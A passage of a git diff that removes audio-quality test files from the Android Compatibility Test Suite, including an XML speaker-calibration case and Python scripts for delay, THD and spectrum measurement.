-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<case name="host_speaker_calibration" version="1.0" description="Calibrate host speaker's volume.">
-	<setup> <!-- 1 setup -->
-		<!-- prepare sound source id: to be used in output, sine 1000Hz, 30000ms long -->
-		<sound id="sound1" type="sin:32000:1000:30000" />
-	</setup>
-
-	<action> <!-- 1 action -->
-		<!--  equivalent of for loop. all children will be completed before moving to the next 
-		      stage.repeat up to 100 times unless stopped by some condition -->
-		<sequential repeat="20" index="i">
-			<!--  sync start : execute only sync complete : execute + complete
-			      For sync start, complete will be called when the parent completes -->
-			<output device="host" id="sound1" gain="70" sync="start"/>
-			<sequential repeat="80" index="j">
-				<input device="host" id="host_in" gain="70" time="250" sync="complete" />
-				<!-- ------------moving average RMS        min for pass, max for pass                result calculated -->
-				<process method="builtin:rms_mva" input="id:host_in,consti:2,consti:1" output="val:rms_$i_$j" />
-				<!-- <message input="val:passfail" output_low="Volume Low" output_ok="Volume OK" output_high="Volume High" /> -->
-			</sequential>
-		</sequential>
-	</action>
-	<save file="host_in" report="rms_.*" />
-</case>
diff --git a/suite/audio_quality/test_description/processing/calc_delay.py b/suite/audio_quality/test_description/processing/calc_delay.py
deleted file mode 100644
index 6e63d28..0000000
--- a/suite/audio_quality/test_description/processing/calc_delay.py
+++ /dev/null
@@ -1,77 +0,0 @@
-#!/usr/bin/python
-
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import numpy as np
-import numpy.linalg
-import scipy as sp
-import scipy.fftpack
-import scipy.signal
-import math
-import sys
-from multiprocessing import Pool
-
-def convolution(data0, data1reversed, n):
-    """calculate convolution part of data0 with data1 from pos n"""
-    N = len(data1reversed)
-    return np.dot(data0[n:N+n], data1reversed)
-
-
-def convolutionstar(args):
-    return convolution(*args)
-
-def calc_delay(data0, data1):
-    """Calcuate delay between two data. data0 is assumed to be recorded first,
-       and will have longer length than data1
-       returns delay between data0 and data1 in number of samples in data0's point of view"""
-
-    len0 = len(data0)
-    len1 = len(data1)
-    if len1 > len0:
-        print "data1 longer than data0"
-        return -1
-    searchLen = len0 - len1
-    data1reverse = data1[::-1]
-
-    # This is faster than signal.correlate as there is no need to process
-    # full data, but still it is slow. about 18 secs for data0 of 4 secs with data1 of 1 secs
-    print "***Caluclating delay, may take some time***"
-    gData0 = data0
-    gData1 = data1reverse
-    pool = Pool(processes = 4)
-    TASK = [(data0, data1reverse, i) for i in range(searchLen)]
-    result = pool.map(convolutionstar, TASK)
-
-    return np.argmax(result)
-
-
-# test code
-if __name__=="__main__":
-    samplingRate = 44100
-    durationInSec = 0.001
-    if len(sys.argv) > 1:
-        durationInSec = float(sys.argv[1])
-    signalFrequency = 1000
-    samples = float(samplingRate) * float(durationInSec)
-    index = np.linspace(0.0, samples, num=samples, endpoint=False)
-    time = index / samplingRate
-    multiplier = 2.0 * np.pi * signalFrequency / float(samplingRate)
-    data0 = np.sin(index * multiplier)
-    DELAY = durationInSec / 2.0 * samplingRate
-    data1 = data0[DELAY:]
-    delay = calc_delay(data0, data1)
-    print "calc_delay returned", delay, " while expecting ", DELAY
-
-
diff --git a/suite/audio_quality/test_description/processing/calc_thd.py b/suite/audio_quality/test_description/processing/calc_thd.py
deleted file mode 100644
index 7c96c77..0000000
--- a/suite/audio_quality/test_description/processing/calc_thd.py
+++ /dev/null
@@ -1,59 +0,0 @@
-#!/usr/bin/python
-
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import numpy as np
-import scipy as sp
-import scipy.fftpack as fft
-import scipy.linalg as la
-import math
-
-def calc_thd(data, signalFrequency, samplingRate, frequencyMargin):
-    # only care about magnitude
-    fftData = abs(fft.fft(data * np.hanning(len(data))))
-    fftData[0] = 0 # ignore DC
-    fftLen = len(fftData)/2
-    baseI = fftLen * signalFrequency * 2 / samplingRate
-    iMargain = baseI * frequencyMargin
-    baseSignalLoc = baseI - iMargain / 2 + \
-        np.argmax(fftData[baseI - iMargain /2: baseI + iMargain/2])
-    peakLoc = np.argmax(fftData[:fftLen])
-    if peakLoc != baseSignalLoc:
-        print "**ERROR Wrong peak signal", peakLoc, baseSignalLoc
-        return 1.0
-    print baseI, baseSignalLoc
-    P0 = math.pow(la.norm(fftData[baseSignalLoc - iMargain/2: baseSignalLoc + iMargain/2]), 2)
-    i = baseSignalLoc * 2
-    Pothers = 0.0
-    while i < fftLen:
-        Pothers += math.pow(la.norm(fftData[i - iMargain/2: i + iMargain/2]), 2)
-        i += baseSignalLoc
-    print "P0", P0, "Pothers", Pothers
-
-    return Pothers / P0
-
-# test code
-if __name__=="__main__":
-    samplingRate = 44100
-    durationInSec = 10
-    signalFrequency = 1000
-    samples = float(samplingRate) * float(durationInSec)
-    index = np.linspace(0.0, samples, num=samples, endpoint=False)
-    time = index / samplingRate
-    multiplier = 2.0 * np.pi * signalFrequency / float(samplingRate)
-    data = np.sin(index * multiplier)
-    thd = calc_thd(data, signalFrequency, samplingRate, 0.02)
-    print "THD", thd
-
diff --git a/suite/audio_quality/test_description/processing/check_spectrum.py b/suite/audio_quality/test_description/processing/check_spectrum.py
deleted file mode 100644
index 3d10e34..0000000
--- a/suite/audio_quality/test_description/processing/check_spectrum.py
+++ /dev/null
@@ -1,164 +0,0 @@
-#!/usr/bin/python
-
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-from consts import *
-import numpy as np
-import scipy as sp
-import scipy.fftpack as fft
-import matplotlib.pyplot as plt
-import sys
-sys.path.append(sys.path[0])
-import calc_delay
-
-# check if amplitude ratio of DUT / Host signal
-#  lies in the given error boundary
-# input: host record
-#        device record,
-#        sampling rate
-#        low frequency in Hz,
-#        high frequency in Hz,
-#        allowed error in negative side for pass in %,
-#        allowed error ih positive side for pass
-# output: min value in negative side, normalized to 1.0
-#         max value in positive side
-#         calculated amplittude ratio in magnitude (DUT / Host)
-
-def do_check_spectrum(hostData, DUTData, samplingRate, fLow, fHigh, margainLow, margainHigh):
-    # reduce FFT resolution to have averaging effects
-    N = 512 if (len(hostData) > 512) else len(hostData)
-    iLow = N * fLow / samplingRate + 1 # 1 for DC
-    if iLow > (N / 2 - 1):
-        iLow = (N / 2 - 1)
-    iHigh = N * fHigh / samplingRate + 1 # 1 for DC
-    if iHigh > (N / 2 + 1):
-        iHigh = N / 2 + 1
-    print fLow, iLow, fHigh, iHigh, samplingRate
-
-    Phh, freqs = plt.psd(hostData, NFFT=N, Fs=samplingRate, Fc=0, detrend=plt.mlab.detrend_none,\
-        window=plt.mlab.window_hanning, noverlap=0, pad_to=None, sides='onesided',\
-        scale_by_freq=False)
-    Pdd, freqs = plt.psd(DUTData, NFFT=N, Fs=samplingRate, Fc=0, detrend=plt.mlab.detrend_none,\
-        window=plt.mlab.window_hanning, noverlap=0, pad_to=None, sides='onesided',\
-        scale_by_freq=False)
-    print len(Phh), len(Pdd)
-    print "Phh", abs(Phh[iLow:iHigh])
-    print "Pdd", abs(Pdd[iLow:iHigh])
-    amplitudeRatio = np.sqrt(abs(Pdd[iLow:iHigh]/Phh[iLow:iHigh]))
-    ratioMean = np.mean(amplitudeRatio)
-    amplitudeRatio = amplitudeRatio / ratioMean
-    print "Normialized ratio", amplitudeRatio
-    print "ratio mean for normalization", ratioMean
-    positiveMax = abs(max(amplitudeRatio))
-    negativeMin = abs(min(amplitudeRatio))
-    passFail = True if (positiveMax < (margainHigh / 100.0 + 1.0)) and\
-        ((1.0 - negativeMin) < margainLow / 100.0) else False
-    RatioResult = np.zeros(len(amplitudeRatio), dtype=np.int16)
-    for i in range(len(amplitudeRatio)):
-        RatioResult[i] = amplitudeRatio[i] * 1024 # make fixed point
-    print "positiveMax", positiveMax, "negativeMin", negativeMin
-    return (passFail, negativeMin, positiveMax, RatioResult)
-
-def toMono(stereoData):
-    n = len(stereoData)/2
-    monoData = np.zeros(n)
-    for i in range(n):
-        monoData[i] = stereoData[2 * i]
-    return monoData
-
-def check_spectrum(inputData, inputTypes):
-    output = []
-    outputData = []
-    outputTypes = []
-    # basic validate
-    inputError = False
-    if (inputTypes[0] != TYPE_MONO) and (inputTypes[0] != TYPE_STEREO):
-        inputError = True
-    if (inputTypes[1] != TYPE_MONO) and (inputTypes[1] != TYPE_STEREO):
-        inputError = True
-    if (inputTypes[2] != TYPE_I64):
-        inputError = True
-    if (inputTypes[3] != TYPE_I64):
-        inputError = True
-    if (inputTypes[4] != TYPE_I64):
-        inputError = True
-    if (inputTypes[5] != TYPE_DOUBLE):
-        inputError = True
-    if (inputTypes[6] != TYPE_DOUBLE):
-        inputError = True
-    if inputError:
-        print "input error"
-        output.append(RESULT_ERROR)
-        output.append(outputData)
-        output.append(outputTypes)
-        return output
-    hostData = inputData[0]
-    if inputTypes[0] == TYPE_STEREO:
-        hostData = toMono(hostData)
-    dutData = inputData[1]
-    if inputTypes[1] == TYPE_STEREO:
-        dutData = toMono(dutData)
-    samplingRate = inputData[2]
-    fLow = inputData[3]
-    fHigh = inputData[4]
-    margainLow = inputData[5]
-    margainHigh = inputData[6]
-    delay = 0
-    N = 0
-    hostData_ = hostData
-    dutData_ = dutData
-    if len(hostData) > len(dutData):
-        delay = calc_delay.calc_delay(hostData, dutData)
-        N = len(dutData)
-        hostData_ = hostData[delay:delay+N]
-    if len(hostData) < len(dutData):
-        delay = calc_delay.calc_delay(dutData, hostData)
-        N = len(hostData)
-        dutData_ = dutData[delay:delay+N]
-
-    print "delay ", delay, "deviceRecording samples ", N
-    (passFail, minError, maxError, TF) = do_check_spectrum(hostData_, dutData_,\
-        samplingRate, fLow, fHigh, margainLow, margainHigh)
-
-    if passFail:
-        output.append(RESULT_PASS)
-    else:
-        output.append(RESULT_OK)
-    outputData.append(minError)
-    outputTypes.append(TYPE_DOUBLE)
-    outputData.append(maxError)
-    outputTypes.append(TYPE_DOUBLE)
-    outputData.append(TF)
-    outputTypes.append(TYPE_MONO)
-    output.append(outputData)
-    output.append(outputTypes)
-    return output
-
-# test code
-if __name__=="__main__":
-    sys.path.append(sys.path[0])
-    mod = __import__("gen_random")
-    peakAmpl = 10000
-    durationInMSec = 1000
-    samplingRate = 44100
-    fLow = 500
-    fHigh = 15000
-    data = getattr(mod, "do_gen_random")(peakAmpl, durationInMSec, samplingRate, fHigh,\
-        stereo=False)
-    print len(data)
-    (passFail, minVal, maxVal, ampRatio) = do_check_spectrum(data, data, samplingRate, fLow, fHigh,\
-        1.0, 1.0)
-    plt.plot(ampRatio)
-    plt.show()
diff --git a/suite/audio_quality/test_description/processing/check_spectrum_playback.py b/suite/audio_quality/test_description/processing/check_spectrum_playback.py
deleted file mode 100644
index caef332..0000000
--- a/suite/audio_quality/test_description/processing/check_spectrum_playback.py
+++ /dev/null
@@ -1,130 +0,0 @@
-#!/usr/bin/python
-
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-from consts import *
-import numpy as np
-import scipy as sp
-import scipy.fftpack as fft
-import matplotlib.pyplot as plt
-import sys
-sys.path.append(sys.path[0])
-import calc_delay
-
-# check if amplitude of DUT's playback
-#  lies in the given error boundary
-# input: host record
-#        sampling rate
-#        low frequency in Hz,
-#        high frequency in Hz,
-#        allowed error in negative side for pass in %,
-#        allowed error ih positive side for pass
-# output: min value in negative side, normalized to 1.0
-#         max value in positive side
-#         calculated freq spectrum in amplittude
-
-def do_check_spectrum_playback(hostData, samplingRate, fLow, fHigh, margainLow, margainHigh):
-    # reduce FFT resolution to have averaging effects
-    N = 512 if (len(hostData) > 512) else len(hostData)
-    iLow = N * fLow / samplingRate + 1 # 1 for DC
-    if iLow > (N / 2 - 1):
-        iLow = (N / 2 - 1)
-    iHigh = N * fHigh / samplingRate + 1 # 1 for DC
-    if iHigh > (N / 2 + 1):
-        iHigh = N / 2 + 1
-    print fLow, iLow, fHigh, iHigh, samplingRate
-
-    Phh, freqs = plt.psd(hostData, NFFT=N, Fs=samplingRate, Fc=0, detrend=plt.mlab.detrend_none,\
-        window=plt.mlab.window_hanning, noverlap=0, pad_to=None, sides='onesided',\
-        scale_by_freq=False)
-    print len(Phh)
-    print "Phh", abs(Phh[iLow:iHigh])
-    spectrum = np.sqrt(abs(Phh[iLow:iHigh]))
-    spectrumMean = np.mean(spectrum)
-    spectrum = spectrum / spectrumMean
-    print "Mean ", spectrumMean
-    print "Normalized spectrum", spectrum
-    positiveMax = abs(max(spectrum))
-    negativeMin = abs(min(spectrum))
-    passFail = True if (positiveMax < (margainHigh / 100.0 + 1.0)) and\
-        ((1.0 - negativeMin) < margainLow / 100.0) else False
-    spectrumResult = np.zeros(len(spectrum), dtype=np.int16)
-    for i in range(len(spectrum)):
-        spectrumResult[i] = spectrum[i] * 1024 # make fixed point
-    print "positiveMax", positiveMax, "negativeMin", negativeMin
-    return (passFail, negativeMin, positiveMax, spectrumResult)
-
-def check_spectrum_playback(inputData, inputTypes):
-    output = []
-    outputData = []
-    outputTypes = []
-    # basic validate
-    inputError = False
-    if (inputTypes[0] != TYPE_MONO):
-        inputError = True
-    if (inputTypes[1] != TYPE_I64):
-        inputError = True
-    if (inputTypes[2] != TYPE_I64):
-        inputError = True
-    if (inputTypes[3] != TYPE_I64):
-        inputError = True
-    if (inputTypes[4] != TYPE_DOUBLE):
-        inputError = True
-    if (inputTypes[5] != TYPE_DOUBLE):
-        inputError = True
-    if inputError:
-        output.append(RESULT_ERROR)
-        output.append(outputData)
-        output.append(outputTypes)
-        return output
-    hostData = inputData[0]
-    samplingRate = inputData[1]
-    fLow = inputData[2]
-    fHigh = inputData[3]
-    margainLow = inputData[4]
-    margainHigh = inputData[5]
-    (passFail, minError, maxError, Spectrum) = do_check_spectrum_playback(hostData, \
-        samplingRate, fLow, fHigh, margainLow, margainHigh)
-
-    if passFail:
-        output.append(RESULT_PASS)
-    else:
-        output.append(RESULT_OK)
-    outputData.append(minError)
-    outputTypes.append(TYPE_DOUBLE)
-    outputData.append(maxError)
-    outputTypes.append(TYPE_DOUBLE)
-    outputData.append(Spectrum)
-    outputTypes.append(TYPE_MONO)
-    output.append(outputData)
-    output.append(outputTypes)
-    return output
-
-# test code
-if __name__=="__main__":
-    sys.path.append(sys.path[0])
-    mod = __import__("gen_random")
-    peakAmpl = 10000
-    durationInMSec = 1000
-    samplingRate = 44100
-    fLow = 500
-    fHigh = 15000
-    data = getattr(mod, "do_gen_random")(peakAmpl, durationInMSec, samplingRate, fHigh,\
-        stereo=False)
-    print len(data)
-    (passFail, minVal, maxVal, amp) = do_check_spectrum_playback(data, samplingRate, fLow,\
-        fHigh, 1.0, 1.0)
-    plt.plot(amp)
-    plt.show()
diff --git a/suite/audio_quality/test_description/processing/consts.py b/suite/audio_quality/test_description/processing/consts.py
deleted file mode 100644
index 3b643a9..0000000
--- a/suite/audio_quality/test_description/processing/consts.py
+++ /dev/null
@@ -1,31 +0,0 @@
-#!/usr/bin/python
-
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# consts to be used in signal processing functions
-
-# types of data for input / output
-TYPE_I64    = 0
-TYPE_DOUBLE = 1
-TYPE_MONO   = 2
-TYPE_STEREO = 3
-
-# result for the processing
-RESULT_OK = 0
-RESULT_CONTINUE = 1
-RESULT_BREAKONELOOP = 2
-RESULT_ERROR = 3
-RESULT_FAIL = 4
-RESULT_PASS = 5
diff --git a/suite/audio_quality/test_description/processing/example.py b/suite/audio_quality/test_description/processing/example.py
deleted file mode 100644
index cce697d..0000000
--- a/suite/audio_quality/test_description/processing/example.py
+++ /dev/null
@@ -1,64 +0,0 @@
-#!/usr/bin/python
-
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-from consts import *
-import numpy as np
-import scipy as sp
-
-# Example python script for signal processing in CTS audio
-# There should be a function with the same name as the script
-# Here, function example in example.py
-
-# inputData : list of inputs with different types like int64, double,
-#             mono or stereo audio data
-# inputTypes: list of types for each input. Types are defined as TYPE_XXX
-#             consts from consts.py
-# return value: 3 elements list
-#     element 0 : execution result value as defined as RESULT_XXX in consts.py
-#     element 1 : outputData
-#     element 2 : outputTypes
-#
-# This example takes 2 stereo data, 2 mono data, 2 i64, and 2 doubles
-# and returns average as 1 stereo data, 1 mono data, 1 i64, and 1 double
-# inputTypes for this function is expected to be
-#   [ TYPE_STEREO, TYPE_STEREO, TYPE_MONO, TYPE_MONO, TYPE_I64, TYPE_I64,
-#     TYPE_DOUBLE, TYPE_DOUBLE ]
-# outputTypes will be [ TYPE_STEREO, TYPE_MONO, TYPE_I64, TYPE_DOUBLE ]
-def example(inputData, inputTypes):
-    output = []
-    outputData = []
-    outputTypes = []
-    stereoInt = (inputData[0].astype(int) + inputData[1].astype(int))/2
-    stereo = stereoInt.astype(np.int16)
-    #print len(inputData[0]), len(inputData[1]), len(stereoInt), len(stereo)
-    monoInt = (inputData[2].astype(int) + inputData[3].astype(int))/2
-    mono = monoInt.astype(np.int16)
-    #print len(inputData[2]), len(inputData[3]), len(monoInt), len(mono)
-    i64Val = (inputData[4] + inputData[5])/2
-    doubleVal = (inputData[6] + inputData[7])/2
-    outputData.append(stereo)
-    outputTypes.append(TYPE_STEREO)
-    outputData.append(mono)
-    outputTypes.append(TYPE_MONO)
-    outputData.append(i64Val)
-    outputTypes.append(TYPE_I64)
-    outputData.append(doubleVal)
-    outputTypes.append(TYPE_DOUBLE)
-    output.append(RESULT_OK)
-    output.append(outputData)
-    output.append(outputTypes)
-
-    return output
diff --git a/suite/audio_quality/test_description/processing/gen_random.py b/suite/audio_quality/test_description/processing/gen_random.py
deleted file mode 100644
index 5548242..0000000
--- a/suite/audio_quality/test_description/processing/gen_random.py
+++ /dev/null
@@ -1,100 +0,0 @@
-#!/usr/bin/python
-
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-from consts import *
-import numpy as np
-import scipy as sp
-import scipy.fftpack as fft
-import matplotlib.pyplot as plt
-
-# generate random signal with max freq
-# Input: peak amplitude,
-#        duration in msec,
-#        sampling rate HZ
-#        high frequency,
-# Output: generated sound (stereo)
-
-def do_gen_random(peakAmpl, durationInMSec, samplingRate, fHigh, stereo=True):
-    samples = durationInMSec * samplingRate / 1000
-    result = np.zeros(samples * 2 if stereo else samples, dtype=np.int16)
-    randomSignal = np.random.normal(scale = peakAmpl * 2 / 3, size=samples)
-    fftData = fft.rfft(randomSignal)
-    freqSamples = samples/2
-    iHigh = freqSamples * fHigh * 2 / samplingRate + 1
-    #print len(randomSignal), len(fftData), fLow, fHigh, iHigh
-    if iHigh > freqSamples - 1:
-        iHigh = freqSamples - 1
-    fftData[0] = 0 # DC
-    for i in range(iHigh, freqSamples - 1):
-        fftData[ 2 * i + 1 ] = 0
-        fftData[ 2 * i + 2 ] = 0
-    if (samples - 2 *freqSamples) != 0:
-        fftData[samples - 1] = 0
-
-    filteredData = fft.irfft(fftData)
-    #freq = np.linspace(0.0, samplingRate, num=len(fftData), endpoint=False)
-    #plt.plot(freq, abs(fft.fft(filteredData)))
-    #plt.plot(filteredData)
-    #plt.show()
-    if stereo:
-        for i in range(len(filteredData)):
-            result[2 * i] = filteredData[i]
-            result[2 * i + 1] = filteredData[i]
-    else:
-        for i in range(len(filteredData)):
-            result[i] = filteredData[i]
-    return result
-
-
-def gen_random(inputData, inputTypes):
-    output = []
-    outputData = []
-    outputTypes = []
-    # basic validate
-    inputError = False
-    if (inputTypes[0] != TYPE_I64):
-        inputError = True
-    if (inputTypes[1] != TYPE_I64):
-        inputError = True
-    if (inputTypes[2] != TYPE_I64):
-        inputError = True
-    if (inputTypes[3] != TYPE_I64):
-        inputError = True
-    if inputError:
-        output.append(RESULT_ERROR)
-        output.append(outputData)
-        output.append(outputTypes)
-        return output
-
-    result = do_gen_random(inputData[0], inputData[1], inputData[2], inputData[3])
-
-    output.append(RESULT_OK)
-    outputData.append(result)
-    outputTypes.append(TYPE_STEREO)
-    output.append(outputData)
-    output.append(outputTypes)
-    return output
-
-# test code
-if __name__=="__main__":
-    peakAmplitude = 10000
-    samplingRate = 44100
-    durationInMSec = 10000
-    #fLow = 500
-    fHigh = 15000
-    result = do_gen_random(peakAmplitude, durationInMSec, samplingRate, fHigh)
-    plt.plot(result)
-    plt.show()
diff --git a/suite/audio_quality/test_description/processing/playback_sample.py b/suite/audio_quality/test_description/processing/playback_sample.py
deleted file mode 100644
index d9c462a..0000000
--- a/suite/audio_quality/test_description/processing/playback_sample.py
+++ /dev/null
@@ -1,63 +0,0 @@
-#!/usr/bin/python
-
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-from consts import *
-
-# Sample test for dut_playback_sample case
-# Input: host recording (mono),
-#        frequency of sine in Hz (i64)
-#        pass level threshold (double)
-# Output: device (double) frequency
-
-def playback_sample(inputData, inputTypes):
-    output = []
-    outputData = []
-    outputTypes = []
-    # basic validate
-    inputError = False
-    if (inputTypes[0] != TYPE_MONO):
-        inputError = True
-    if (inputTypes[1] != TYPE_I64):
-        inputError = True
-    if (inputTypes[2] != TYPE_DOUBLE):
-        inputError = True
-    if inputError:
-        output.append(RESULT_ERROR)
-        output.append(outputData)
-        output.append(outputTypes)
-        return output
-
-    hostRecording = inputData[0]
-    signalFrequency = inputData[1]
-    threshold = inputData[2]
-    samplingRate = 44100
-
-    freq = calc_freq(hostRecording, samplingRate)
-    print "Expected Freq ", signalFrequency, "Actual Freq ", freq, "Threshold % ", threshold
-    diff = abs(freq - signalFrequency)
-    if (diff < threshold):
-        output.append(RESULT_PASS)
-    else:
-        output.append(RESULT_OK)
-    outputData.append(freq)
-    outputTypes.append(TYPE_DOUBLE)
-    output.append(outputData)
-    output.append(outputTypes)
-    return output
-
-def calc_freq(recording, samplingRate):
-    #This would calculate the frequency of recording, but is skipped in this sample test for brevity
-    return 32000
\ No newline at end of file
diff --git a/suite/audio_quality/test_description/processing/playback_thd.py b/suite/audio_quality/test_description/processing/playback_thd.py
deleted file mode 100644
index af490bc..0000000
--- a/suite/audio_quality/test_description/processing/playback_thd.py
+++ /dev/null
@@ -1,62 +0,0 @@
-#!/usr/bin/python
-
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-from consts import *
-import numpy as np
-import scipy as sp
-from calc_thd import *
-import calc_delay
-
-# calculate THD for dut_playback_thd case
-# Input: host recording (mono),
-#        frequency of sine in Hz (i64)
-#        THD pass level in percentile (double)
-# Output: THD device (double) in percentile
-
-def playback_thd(inputData, inputTypes):
-    output = []
-    outputData = []
-    outputTypes = []
-    # basic validate
-    inputError = False
-    if (inputTypes[0] != TYPE_MONO):
-        inputError = True
-    if (inputTypes[1] != TYPE_I64):
-        inputError = True
-    if (inputTypes[2] != TYPE_DOUBLE):
-        inputError = True
-    if inputError:
-        output.append(RESULT_ERROR)
-        output.append(outputData)
-        output.append(outputTypes)
-        return output
-
-    hostRecording = inputData[0]
-    signalFrequency = inputData[1]
-    thdPassPercentile = inputData[2]
-    samplingRate = 44100
-
-    thd = calc_thd(hostRecording, signalFrequency, samplingRate, 0.02) * 100
-    print "THD %", thd, "Margain % ", thdPassPercentile
-    if (thd < thdPassPercentile):
-        output.append(RESULT_PASS)
-    else:
-        output.append(RESULT_OK)
-    outputData.append(thd)
-    outputTypes.append(TYPE_DOUBLE)
-    output.append(outputData)
-    output.append(outputTypes)
-    return output
diff --git a/suite/audio_quality/test_description/processing/recording_thd.py b/suite/audio_quality/test_description/processing/recording_thd.py
deleted file mode 100644
index c0251b5..0000000
--- a/suite/audio_quality/test_description/processing/recording_thd.py
+++ /dev/null
@@ -1,78 +0,0 @@
-#!/usr/bin/python
-
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-from consts import *
-import numpy as np
-import scipy as sp
-from calc_thd import *
-import calc_delay
-
-# calculate THD for dut_recording_thd case
-# Input: host recording (mono), device recording (mono),
-#        frequency of sine in Hz (i64)
-#        THD pass level in percentile (double)
-# Output:THD host (double), THD device (double) in percentile
-# host recording will be longer than device recording
-# the function works in following steps:
-# 1. match the start of device recording with host recording
-#    As the host recording starts eariler and longer than device recording,
-#    matching process is required.
-# 2. calculate THD of host recording and client recording
-# 3. check pass/fail
-
-def recording_thd(inputData, inputTypes):
-    output = []
-    outputData = []
-    outputTypes = []
-    # basic validate
-    inputError = False
-    if (inputTypes[0] != TYPE_MONO):
-        inputError = True
-    if (inputTypes[1] != TYPE_MONO):
-        inputError = True
-    if (inputTypes[2] != TYPE_I64):
-        inputError = True
-    if (inputTypes[3] != TYPE_DOUBLE):
-        inputError = True
-    if inputError:
-        output.append(RESULT_ERROR)
-        output.append(outputData)
-        output.append(outputTypes)
-        return output
-
-    hostRecording = inputData[0]
-    deviceRecording = inputData[1]
-    signalFrequency = inputData[2]
-    thdPassPercentile = inputData[3]
-    samplingRate = 44100
-
-    delay = calc_delay.calc_delay(hostRecording, deviceRecording)
-    N = len(deviceRecording)
-    print "delay ", delay, "deviceRecording samples ", N
-    thdHost = calc_thd(hostRecording[delay:delay+N], signalFrequency, samplingRate, 0.02) * 100
-    thdDevice = calc_thd(deviceRecording, signalFrequency, samplingRate, 0.02) * 100
-    print "THD Host %", thdHost, "THD device %", thdDevice, "Margain % ", thdPassPercentile
-    if (thdDevice < (thdHost + thdPassPercentile)) and (thdHost < thdPassPercentile):
-        output.append(RESULT_PASS)
-    else:
-        output.append(RESULT_OK)
-    outputData.append(thdHost)
-    outputTypes.append(TYPE_DOUBLE)
-    outputData.append(thdDevice)
-    outputTypes.append(TYPE_DOUBLE)
-    output.append(outputData)
-    output.append(outputTypes)
-    return output
diff --git a/suite/audio_quality/test_description/processing_main.py b/suite/audio_quality/test_description/processing_main.py
deleted file mode 100644
index b5075fd..0000000
--- a/suite/audio_quality/test_description/processing_main.py
+++ /dev/null
